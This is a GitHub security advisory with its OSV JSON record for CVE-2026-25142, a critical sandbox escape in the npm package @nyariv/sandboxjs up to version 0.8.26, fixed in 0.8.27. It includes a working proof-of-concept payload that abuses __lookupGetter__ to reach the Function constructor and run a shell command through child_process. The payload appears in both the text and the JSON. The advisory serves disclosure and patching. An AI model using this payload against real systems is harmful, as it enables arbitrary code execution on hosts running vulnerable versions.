GHSA-9P4W-FQ8M-2HP7

Vulnerability from github – Published: 2026-02-02 20:17 – Updated: 2026-02-03 16:13
VLAI
Summary
SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
Details

Summary

SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.

Details

https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398

The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`
sb.compile(payload)().run();

Impact

Prototype Pollution -> RCE

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.26"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25142"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T20:17:39Z",
    "nvd_published_at": "2026-02-02T23:16:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nSandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.\n\n### Details\n\nhttps://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398\n\nThe Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.\n\n### PoC\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nlet getProto = Object.toString.__lookupGetter__(\"__proto__\")\nlet m = getProto.call(new Map());\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n  )(),\n);`\nsb.compile(payload)().run();\n```\n\n### Impact\nPrototype Pollution -\u003e RCE",
  "id": "GHSA-9p4w-fq8m-2hp7",
  "modified": "2026-02-03T16:13:28Z",
  "published": "2026-02-02T20:17:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SandboxJS Vulnerable to Prototype Pollution -\u003e Sandbox Escape -\u003e RCE"
}



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